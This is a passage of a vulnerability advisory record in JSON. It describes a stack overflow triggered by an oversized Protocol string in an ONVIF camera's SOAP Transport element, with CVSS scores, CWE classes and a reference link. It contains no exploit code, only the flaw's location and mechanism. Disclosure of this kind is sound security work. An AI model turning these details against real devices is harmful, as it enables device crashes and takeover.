The application fails to validate the length of the Protocol parameter inside the Transport element. By sending a specially crafted SOAP request containing an oversized protocol string, an attacker can overflow the stack buffer, overwriting the return instruction pointer (RIP). This vulnerability allows for Denial of Service (DoS) via device crash or Remote Code Execution (RCE) in the context of the ONVIF service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/victorGoeman/LSC-Indoor-Camera-Security-Research/blob/main/CVE-2025-69986.md", "source": "[email protected]"}]}}
